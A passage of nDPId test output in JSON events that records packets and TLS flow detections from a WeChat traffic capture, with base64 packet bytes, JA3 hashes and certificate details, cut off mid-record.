+02695{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":397022,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMP79AAC0G4U3LzZeiwKgBZwG7005qx4e4SnNLFYAYAHgsPgAAAQEICkXRvZoAMNNci6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQSQKp51JuXPAhGfTXtbVBzWGCw+khkAuEoljsqTixbQ3MD2wv+poLjnkTVqvAyzVTsUAWoSBKdYk7rkC0BncsZxBgEBADrEUjGwJTQH\/3utg2jIgJfmRkSvcBM0nmPqGn2EQCMqIlKTQMwEPTbap39FdNIXj7WnyULGI0mijdVCYxDBGb1E7ekdapWy4ImeBIecAWZPTeQv6TP5cwWhxtR2bocV7XNUk1WNPx+ZR22LO4VCeRYGhB5fXkBorUDkv7iNXodjEl5OGKB+knwJaCiegC5nbaibgU5tUZ5gzvPpt4vM\/iY5bnzbccPVq25b7aQc11FfxDe2XY3LTqxtdXha+sWQ63tNKyZpJGhVcIc53lm4xkDaOx7CmNlh0mQZqDilx8vr0kKWKnJpIzDFg44CNyyM6IbcAALi8XRABFV10FpSEWIWAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":240,"source":"wechat.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":8,"flow_first_seen":1492167378674,"flow_last_seen":1492167379397,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54094,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":397054,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0mShAAEAGfBzAqAFny82XotNOAbtKc0sVaseOUIAQARUVKwAAAQEICgAw07dF0b2a"} +00596{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":400634,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACymSlAAEAGe53AqAFny82XotNOAbtKc0sVaseOUIAYARXHHQAAAQEICgAw07hF0b2aFgMDAEYQAABCQQQDGk5eUBtKpsuLsWox1TrmdQjPGpitnO2j07CAKLAS9gK8+k0MWvCOzEv3KKallXpE2DShuJG56zcCZdCOOMJWFAMDAAEBFgMDACgAAAAAAAAAAJ2Non8CnOdee+SRAiPzB6j6y9fjWuZ0WgelacS8R+j5"} +00495{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":756739,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnP8FAAC0G57DLzZeiwKgBZwG7005qx45QSnNLk4AYAHgb+QAAAQEICkXRvfQAMNO4FAMDAAEBFgMDAChHOK6vDZXWbpq+G499J6WMaHFpG+2cm4rM3CIy5gGcC08FRdTkYbul"} +02110{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":757762,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMmSpAAEAGd0LAqAFny82XotNOAbtKc0uTaseOg4AYARVxFgAAAQEICgAw1BFF0b30FwMDBNMAAAAAAAAAAbOVPHTbKfBFwkP9mv6hoolvveFHHrJwEieblRW5\/NpJYOOiqgMCz4wfm4BoKm1X9Yo3PUVFeJGcKRp9to8\/42HTS74evwyzxvKD+Wks+2Qqxg4XTxD6efK3FvsEypGixafgUS13pMMshs2G5r\/QH2g89cqHO3p+KPAxZWDuN9b\/6ycW2U0uitBc5wTwO6XcpqMHIKaLEZEoSQYnXxWUwkF0TcuOxxaZ72TCEP6BQQDxiFmE08ZXv05zDwMCKi2hjQd3Hi3muU9Av922RYmGWDlGiR1I557m+uFapiv0uRp\/Ct3J4rqMjr8FRnUGLSdmIS+ZnsksStFwzvAL\/IPQtzUmVvCfO5wdjFHvhv39mZq6gkpgIwmMt1ylsnqjGuMLS1HwjOPabUsr3HtgTIrwSeM9qOaJPxH3cPBdTyfOyq5JSVWTrvdizWnkAUmljGamSmkmKY9eOMaQ651cY51TFsH7gM2Okzz1pDMs5FlZeJ6fU9jrwrDTjgjYqgfv2xOyEahIMIYGB5lgxPVRR0z6eTHMH5zXQw5E35eGTxTCjQzUUi3TUDtredbmpk53KdRNVQMzaRAq1UyUs5DIJPGbiQWuWQ4E75fqO5k7vaEhmd0KTj\/YsORgSD32oFgJsKNrBMFzYq7rKREjPXkvWrmgjY1Wd44FdfY+c7dw3NP3Tda0N+rMNhQIR1TxLOBzMTnqiEXs0E\/6oLgKCaQPVT\/yK4zGAjndvL056z4cFdtA6FlpqxbPDOrGORF3mgeRsNtc+oeBS+AVKkb5wogst2MCgd8agPnChNyV6TWoB5E+s5QjXWvehR75PS8NVFlnSzVHs7aZJj9FI4Rr1YWLWP41KezwtI20PTzSSb2VwbvatrTk+3l9TwYma88RBaRbhlowgXPWb3fnG0+ouex1L37kw474WeZ5mcznc7D9HbZvHOqvz1uSTxmyCfIXlncOw5ZHbdnRW\/C1z9bkKRJa0cWm0Yu0d\/DJDRc8SwCtRrOE1dfphQ2ioMqj9ZGcYKhya6pfv6Jj9Rfk2YakP\/bVKDPb7FrnfBoyAY51z+QTf7j63mYOLgLyC685+RWpDoKxuJO2MrLcQFvyzNYVA\/K2gvt\/1ky5Ac47Q0aQXoXDGfTBupL0bT\/1itrPpeJfqM2jbCjvMXyWsZZi7wpVgvkshJpjz0O35MtwgpJWtHfu+mSGl4Ex1cG7NYBhV1ylEjdyT\/aT8wOA2Rnf2cN96YLpfFvSX6QwUwFMUnKhXQkENEyh+oT+7P\/aUdlWnF9OwXUMk045UHlDssLU+FXfJV5svalHx12HmPwd2rDL0cue2RD4uALVpa\/\/bLya4QF8i\/AHjsFOPBOzd6DZ6u\/kgpjsM+2xIseZMUMnwu4o5cqR2Z\/+PchX8wIcyUGzej8OXyamCaWBCGTCwVdpgUKG5WN806BeExfr0cL8\/3pRIihQBckaUymUriaZJaOTO7s3BMuawnuZtZn+37DsN4HGLaD1c52GMswfX0VatbFz3S08A81S43V9mkSYQ9TM5cfenzbb9CeBPJnO3WABGF9BecC7us3Y6oMOQpz1J+1MTX6502sdoxVrTy9zasToEtUYaIBMv96CYNfhzC+5vPbbQQooNubIf7QKESc+dSvQXe3J5Q=="} +01078{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":761080,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPmStAAEAGej7AqAFny82XotNOAbtKc1BraseOg4AYARUVRwAAAQEICgAw1BJF0b30FwMDAdYAAAAAAAAAAgvQxrO+ZPZfAevCit6q8lmlKyBo5OLchMh197Ri9U9omGGQ+AbwtMAnGYoCS6r72RF4SO\/Cb+pl0Pl42minq\/Iq+KGDXLBIOn5u66EvWZ+qVRRXuPnFD37XQ8rIochmuJc+8K54dPOInM6t1C1O1IdnCGDXX5nYCs63VIOeQgdzjH93\/nHV13t3EEXQ2hBeYfeg\/qr77sq26y759FYaw8LhhVF730YC5wDNS8rlAW1cF6p0mDloM\/Smnlwz56GlgAy3SVNAf4p13dfpgChhIE7hZ\/iMzDX2etMN\/Yy8jAf2YduKrtulCaBqCqbHsG7Rb9czFAb2ITkmxs4eWJg5buAW8EWMz9y27Sx\/TLTHwGR2JmoaekDMQX8JHaLD1rtC\/6NxwFY8o87fzXjtQLbGLfRcI4boD0FNtv2i\/cFz+5ht6uUgbdfGadJxAg79K+y7bN2G8+XLcTNO6\/izm4YB8\/6gDVpZ+r4dT5McnN\/bLM8SekcLrkE8gmcnFnhtiBbUjZDXpKmU0AzPTnpbLryENLyfbQdIP67R4jQED+bSJ1UdYoIFDxUvMXS\/jiKvpCUuodTe7wtJM5flbN0GhQTvlI1yzccjfziKMUILiE5Uwg=="} +00425{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":125953,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0P8JAAC0G5+LLzZeiwKgBZwG7005qx46DSnNSRoAQAJ8NLQAAAQEICkXRvlAAMNQR"} +02362{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":158785,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIP8NAAC0G4k3LzZeiwKgBZwG7005qx46DSnNSRoAQAJ+3HAAAAQEICkXRvlkAMNQRFwMDBjhHOK6vDZXWb8K9uQJpNnm7MY9fWKyx9uA2e2tIKxuPK49b6XnrqL45BR3BcpWqbMCLvAHyedWAoGn4dk2TmK2ATQVsGiXT28fifp8v+RJEOO1QdyHs42f5UmnUvNYrefcHcCjpTB7VI4FwAA8yaw\/5b4E91lHuNv5Di720fCarTra6zDaet7FYt6jsjY1Lk\/G3yR5yW88lJzG\/g9powclcVkQFhHhSeN+rkbyNSLvGxTKbUFT\/CMAql+HX+sTlMRhtVZVNKv\/IqgtrruUyjXx4riz6zvLCS7UVgyhZHMHS\/7pAXoYme3EYd4\/vcswItkvfGSDLsen0IojoOGRI4xbSpLz6XYDk97lTlzJ0M91gB4\/o2YZpEdhnVMroP3JcVfdn53AY9CdZtYDmlsXbZv5LGClSfkhm\/bwTCshn53B7tsA3m7061cPiOt2rMwQDqlwob5v6xAeZZup3tBO+5bqoJXd2vv8kRsXMHpU7l3ZKIqYZ5J9iysRNmkNYbmmtPR6vmiO2yVSAB\/LexXuztbTXE4r5WvUD1wuypAiXqICAbyqQT4mz5XvXMNxbutD9gp4kR12cRcg9D0pJ8OYr3HqeCWomvT3B9TXiHoPKnV+YzNr64gYGtlmwui1YvUmWSq5sJAs4Lg7dz1KjORI1v7ukfJjD0sGdC72JUL33KRjbYV4p3rVhLwKYVmH7fcSH3KZH4LEbYHSeeDscsXlqiBU\/Y6ZTriy8M1AYFe6bQBmyiX2fcXy3Dj5VXPHdnVkXnTwSuo+eN\/fSlVEHCpcmpzWiOXovtUpyWBAYOKGnVQw3iYt9xiXxBYsdv2U3dkZxYDQU\/Vt6bbNAP5wzjoOso2NY3owQ+uXXzqt6HleYG6Bi+n7sJVC0Qz4JCBF0UvmbqZMHK8mmR5CYhvMD0UvXG5e+gQ1\/KPUjkEbxhPoIRuoCw\/fh9bK1kbXojwMsY3Iv6G7bGmPdyMhfY2KsEm8STsDPPVAwtAUig0lRcgs7mOmGOLk\/+L5JVhUKx6LEc\/kQ8w6GwgRiYLh75hMY7Buwz35OlsPvj1iCKS1QBNVJVnQlJ3QiARzCFqWSIUXbdiQZh0QkX2EEq4SmaZJxbDF04QsDXGkWjlegOqyLkZY\/5tD7TS9kc1YYT7Sx17qukq7DQBhP+nSeLybrcKoNdEJdDeng37EDRmmUieCxflso0YL42v24AFXi0vFFKxKB\/nbW8oIXgH1kuQawITOjoB5T1e7fP24Tqeplq50rwAy0yeH02anLOHZVljt2BaTEC3XU8cFcwS6mikLToBcxNRXsOoDedG\/zRwcw5o8xC2JkkHYMCb7W2qKLwrWmgOIvhKRdEwIRV8WN9zWWvCHBYBvnwoqy22CkqIYo3E0C04Uw7RBLeH4o0fuOCYrp9zgjWCs3wo2jAxTe3WwQOxP4Jc43KOrBbzVagVcg1HFAcwtt6b6yIhAkQTsIFTafiH\/w9bpvu2TmmL5LaYgAwkGmjpGI6g4YqpRwunT5BTZzB0pJ2gklU0nc\/2RFXhPZ5n01Wu\/q88HWWLT1D6rInP3ZKksOts9Xk9NG7ujgmIM8Na3mb99aLx\/oO3hYpSvZi0EBdAu4YjMNtQBLkxW+GqppGuOUeIFXjZlC5+yXTxgeF8XUP6vstyg00mTrLNnXLqq+oLqBnzO97Te+5M2U2XDCoXLJPuK5KCyjNaOn7rah454xLSnX01svTtoIItEGJ3nfEQiVm965X6hEDe6Bx0bL6NJo6frsYZzKDFsXJpwhHsAHmDoe+MSgtPK0fG\/u\/IBZvg0uKpK6sTyoTZ5n6Yw9jDkzb37rmEUVpQq9SeGih58vOLiIdCPMLBr9CdV44D4F\/41ZAtP7G8ysUVYmqWkQsg0DKEBQmWmfdTgiE11ZMwClTqwo"} +00750{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":233041,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEicOxAAEAGo2rAqAFny82XotNPAbtxraOsZPN7f4AYAOVbvgAAAQEICgAw1IhFrVgaFgMBAOkBAADlAwP\/XNiqxBer6CoBriARmvadzv\/U5kXIDNO5dJQ14ZPOdyCc+qdX8GXELVfQ5N806uYJcFsoXMTX+cAyXbg9n1utjQAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB82toAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIWloAHQAXABiqqgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"wechat.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1492167378926,"flow_last_seen":1492167380233,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54095,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02041{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":242615,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYn8lAAEAGcNfAqAFny82XotMqAbshWC6cT4FOUIAYAgvsgAAAAQEICgAw1IpF0bybFwMDBJ8AAAAAAAAADGqRIyt3e4c3YdVy0fwI5trea0bIMCV5scLGGeFVlbUEXq8UZGK3vmg+j1bpwjUvX9dp+MAKqlXZjnlhcinu3jFMwqYAB7Pgl\/RSX+LVs7iHm8UJOI+3cqGge3LlAwSlAwk0VUqouRNTtkbIatS9e+UrWOdyQBaGfM\/ktAEgkx0nB4IAolWMGhDvITwQyFxPi25sKlWlCuzJTUjphTJgxIImr16ATWiio0hNqhwxRvijJLt\/pGbykyhOr6l1b6ek007AggcYY8dE3mWWww+TlOXkRbrTkuspPTDH\/E0MQZqtUQdwtnJTiyLedVp6SB9oVZEHIi05+KIO\/HO9RrVUYj99bgr9\/eXI\/nrPTT10QiGnoMM6GbHS05yGOBuJJ3G7VLX+F6\/qDGqFsHFf1JbFFbonY5R3aLp6eDkG39gl5WFKLfMizWW7+xQ4MPPwnkqm0rE0OruF4UOrvisqhxjVnCUAmxR1PBziY2Dbv5pRqRH+xVeSFT5UVq34yPgx7kwLMIRbijEhdxgOZ1RUNVqLurf7LJCayW2rOBBP3eO6yzyKPug1QNPxkh5TlFVr9xzpAc5a9U\/xKxdpsm4T1FhokR9k5JPROpgqMOGjiMaxo3J6IBb3xm5hHuifDBKUP+m1p7Xn9RYV6wBOZ1HuK06XYjiwF7\/gDqO2Gg2JpkcTF8Xu6ih91uoiuyBAUXCLZbSFb6l38p1bLUv\/GKCoutrT8dLdnkJXmEtdi4t5Sc4CopO8oPeAeXuat0DU+6\/mPOZGaPNuxHbE4Lp0iWWGhJ5Q7d7qjdWlji5WwBr7L12HbgXRQ1eB7o7fNPOAF5UIu\/WM12Z6gW08FnIEe6OHNDxrtl25r490gwDPBQQaMsDSVZ0p6MfUmg\/TZcWaYEfSvxy3lSYaS524G7BU5HMwcDcTbKpF1dYz5VoEPPjYmWvhTv6XyRewzBqBEsDp5w0vIQ2ksvfQWwrlNvE2VBqTt4J2ocz0\/jj4FMJ6bkoEIBq7GGpv043bFVzUYG+raDHVPAmnQ5HuSB2FiGzyvp\/ynZ69TblsmWry95Bv2dMmlXDaFNcQn0w9Sc9lhHC8\/luMFe9R7PtxDPpPsYybbdvwYVVm7iix3lLcv4+pKO7wawUjQdt3fUs8iW69cyMT+1bhelqK6xx\/Bsk5P4B3n+QPBTbGGUEn7nMMpZaa51nh+wuOLRjsOhVIBkrf1y7sOdcAJSFzwIPNASwkRBO\/+QeCIx3\/kn1twlp7FG+KPLn6EvQLiMJ8F6bPcQoJt2UD\/YAB\/3zEI8EEoS2QdqIYAkGZiHS5bYaweMeM3ZJmu9r\/NEeAqBlaYLmNjwh9lDd+5NyP4VmNEe9lfO2rwAM\/qSiQ\/819ojb+tAjlO1LkBmUq0id8KoKZh6ptH7AoKvjiGyy89mVnivW7btYoo5QWJ\/BNV26OMCReMJTU317dcgylavX+3K1V6FhSggO44mWVD2N6tXzdgMwUbraGoqwGOF6maZ+n6NvW6+aQkF6M6RxeTsP5Nhow1MBIgJQ8Tb6TdLPguZDSXbOfMyhzuD3GycClAZBa5RuX5uBIIKdJ"} +00436{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":457988,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG7009k83t+ca2jrKASN8itLQAAAgQFoAQCCApFrVlBADDTmQEDAwc="} +00424{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":458046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cO1AAEAGpFfAqAFny82XotNPAbtxraSaZPN7f4AQAOUR2wAAAQEICgAw1MBFrVga"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":261,"source":"wechat.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1492167380581,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54096,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":581732,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8GvtAAEAG+kHAqAFny82XotNQAbtFV84kAAAAAKACchDy2AAAAgQFtAQCCAoAMNTfAAAAAAEDAwc="} +00425{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":585727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0Ih5AAC4GBIfLzZeiwKgBZwG7009k83t\/ca2kmoAQAHgROQAAAQEICkWtWWEAMNSI"} +02347{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":590172,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIIh9AAC4G\/vHLzZeiwKgBZwG7009k83t\/ca2kmoAQAHi+xwAAAQEICkWtWWIAMNSIFgMDAF0CAABZAwMNrCSIDNOLvQwu+WC\/XbJdKP194hOWV0n1i\/00hc5t9yBcCmKlnX0+l8+VUFMMn312MkptWFpvDfV3jpkpWVkCt8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53